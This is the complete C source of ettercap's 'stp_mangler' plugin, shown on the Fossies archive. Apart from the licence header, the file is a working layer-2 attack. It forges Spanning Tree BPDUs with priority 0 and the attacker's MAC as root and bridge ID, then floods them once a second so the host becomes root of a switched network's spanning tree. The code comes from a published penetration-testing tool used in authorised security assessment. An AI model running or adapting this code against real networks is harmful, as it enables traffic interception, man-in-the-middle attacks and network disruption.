"Fossies" - the Fresh Open Source Software Archive

Member "ettercap-0.8.3.1/plug-ins/stp_mangler/stp_mangler.c" (1 Aug 2020, 5098 Bytes) of package /linux/privat/ettercap-0.8.3.1.tar.gz:


As a special service "Fossies" has tried to format the requested source page into HTML format using (guessed) C and C++ source code syntax highlighting (style: standard) with prefixed line numbers and code folding option. Alternatively you can here view or download the uninterpreted source code file. For more information about "stp_mangler.c" see the Fossies "Dox" file reference documentation and the latest Fossies "Diffs" side-by-side code changes report: 0.8.3_vs_0.8.3.1.

    1 /*
    2     stp_mangler -- ettercap plugin -- Become root of a switches spanning tree 
    3 
    4     Copyright (C) ALoR & NaGA
    5     
    6     This program is free software; you can redistribute it and/or modify
    7     it under the terms of the GNU General Public License as published by
    8     the Free Software Foundation; either version 2 of the License, or
    9     (at your option) any later version.
   10 
   11     This program is distributed in the hope that it will be useful,
   12     but WITHOUT ANY WARRANTY; without even the implied warranty of
   13     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   14     GNU General Public License for more details.
   15 
   16     You should have received a copy of the GNU General Public License
   17     along with this program; if not, write to the Free Software
   18     Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
   19 
   20 */
   21 
   22 
   23 #include <ec.h>                        /* required for global variables */
   24 #include <ec_plugins.h>                /* required for plugin ops */
   25 #include <ec_packet.h>
   26 #include <ec_hook.h>
   27 #include <ec_send.h>
   28 #include <ec_threads.h>
   29 #include <ec_sleep.h>
   30 
   31 /* globals */
   32 struct eth_header
   33 {
   34    u_int8   dha[ETH_ADDR_LEN];       /* destination eth addr */
   35    u_int8   sha[ETH_ADDR_LEN];       /* source ether addr */
   36    u_int16  proto;                   /* packet type ID field */
   37 };
   38 
   39 struct llc_header
   40 { 
   41     u_int8   dsap;
   42     u_int8   ssap;
   43     u_int8   cf;
   44     u_int16  protocolid;
   45     u_int8   version;
   46     u_int8   BPDU_type;
   47     u_int8   BPDU_flags;
   48 };
   49 
   50 struct stp_header 
   51 {
   52     u_int16  root_priority;
   53     u_int8   root_id[6];
   54     u_int8   root_path_cost[4];
   55     u_int16  bridge_priority;
   56     u_int8   bridge_id[6];
   57     u_int16  port_id;
   58     u_int16  message_age;
   59     u_int16  max_age;
   60     u_int16  hello_time;
   61     u_int16  forward_delay;
   62 };
   63 
   64 #define FAKE_PCK_LEN 60
   65 struct packet_object fake_po;
   66 char fake_pck[FAKE_PCK_LEN];
   67 
   68 
   69 /* protos */
   70 int plugin_load(void *);
   71 static int stp_mangler_init(void *);
   72 static int stp_mangler_fini(void *);
   73 EC_THREAD_FUNC(mangler);
   74 
   75 
   76 /* plugin operations */
   77 
   78 struct plugin_ops stp_mangler_ops = { 
   79    /* ettercap version MUST be the global EC_VERSION */
   80    .ettercap_version =  EC_VERSION,                        
   81    /* the name of the plugin */
   82    .name =              "stp_mangler",  
   83     /* a short description of the plugin (max 50 chars) */                    
   84    .info =              "Become root of a switches spanning tree",  
   85    /* the plugin version. */ 
   86    .version =           "1.0",   
   87    /* activation function */
   88    .init =              &stp_mangler_init,
   89    /* deactivation function */                     
   90    .fini =              &stp_mangler_fini,
   91 };
   92 
   93 /**********************************************************/
   94 
   95 /* this function is called on plugin load */
   96 int plugin_load(void *handle) 
   97 {
   98    return plugin_register(handle, &stp_mangler_ops);
   99 }
  100 
  101 /******************* STANDARD FUNCTIONS *******************/
  102 
  103 static int stp_mangler_init(void *dummy) 
  104 {     
  105    /* variable not used */
  106    (void) dummy;
  107 
  108    /* It doesn't work if unoffensive */
  109    if (EC_GBL_OPTIONS->unoffensive) {
  110       INSTANT_USER_MSG("stp_mangler: plugin doesn't work in UNOFFENSIVE mode\n");
  111       return PLUGIN_FINISHED;
  112    }
  113       
  114    INSTANT_USER_MSG("stp_mangler: Start sending fake STP packets...\n");
  115 
  116    /* create the flooding thread */
  117    ec_thread_new("mangler", "STP mangler thread", &mangler, NULL);
  118         
  119    return PLUGIN_RUNNING;
  120 }
  121 
  122 
  123 static int stp_mangler_fini(void *dummy) 
  124 {
  125    pthread_t pid;
  126 
  127    /* variable not used */
  128    (void) dummy;
  129 
  130    pid = ec_thread_getpid("mangler");
  131 
  132    /* the thread is active or not ? */
  133    if (!pthread_equal(pid, ec_thread_getpid(NULL)))
  134       ec_thread_destroy(pid);
  135 
  136    INSTANT_USER_MSG("stp_mangler: plugin stopped...\n");
  137 
  138    return PLUGIN_FINISHED;
  139 }
  140 
  141 
  142 EC_THREAD_FUNC(mangler)
  143 {
  144    struct eth_header *heth;
  145    struct llc_header *hllc;
  146    struct stp_header *hstp;
  147    u_char MultiMAC[6]={0x01,0x80,0xc2,0x00,0x00,0x00};
  148 
  149    /* variable not used */
  150    (void) EC_THREAD_PARAM;
  151 
  152    /* Avoid crappy compiler alignment :( */    
  153    heth  = (struct eth_header *)fake_pck;
  154    hllc  = (struct llc_header *)(fake_pck + 14);
  155    hstp  = (struct stp_header *)(fake_pck + 22);
  156    
  157    /* Create a fake STP packet */
  158    heth->proto = htons(0x0026);
  159    memcpy(heth->dha, MultiMAC, ETH_ADDR_LEN);
  160    memcpy(heth->sha, EC_GBL_IFACE->mac, ETH_ADDR_LEN);
  161 
  162    hllc->dsap = 0x42;
  163    hllc->ssap = 0x42;
  164    hllc->cf   = 0x03;
  165    
  166    hstp->root_priority = 0;
  167    memcpy(hstp->root_id, EC_GBL_IFACE->mac, ETH_ADDR_LEN);
  168    hstp->bridge_priority = 0;
  169    memcpy(hstp->bridge_id, EC_GBL_IFACE->mac, ETH_ADDR_LEN);
  170    hstp->port_id = htons(0x8000);
  171    hstp->max_age = htons_inv(20);
  172    hstp->hello_time = htons_inv(2);
  173    hstp->forward_delay = htons_inv(15);
  174 
  175    packet_create_object(&fake_po, (u_char*)fake_pck, FAKE_PCK_LEN);
  176 
  177    /* init the thread and wait for start up */
  178    ec_thread_init();
  179    
  180    LOOP {
  181       CANCELLATION_POINT();
  182 
  183       /* Send on the wire and wait */
  184       send_to_L2(&fake_po); 
  185       ec_usleep(SEC2MICRO(1));
  186    }
  187    
  188    return NULL; 
  189 }
  190 
  191 /* EOF */
  192 
  193 // vim:ts=3:expandtab
  194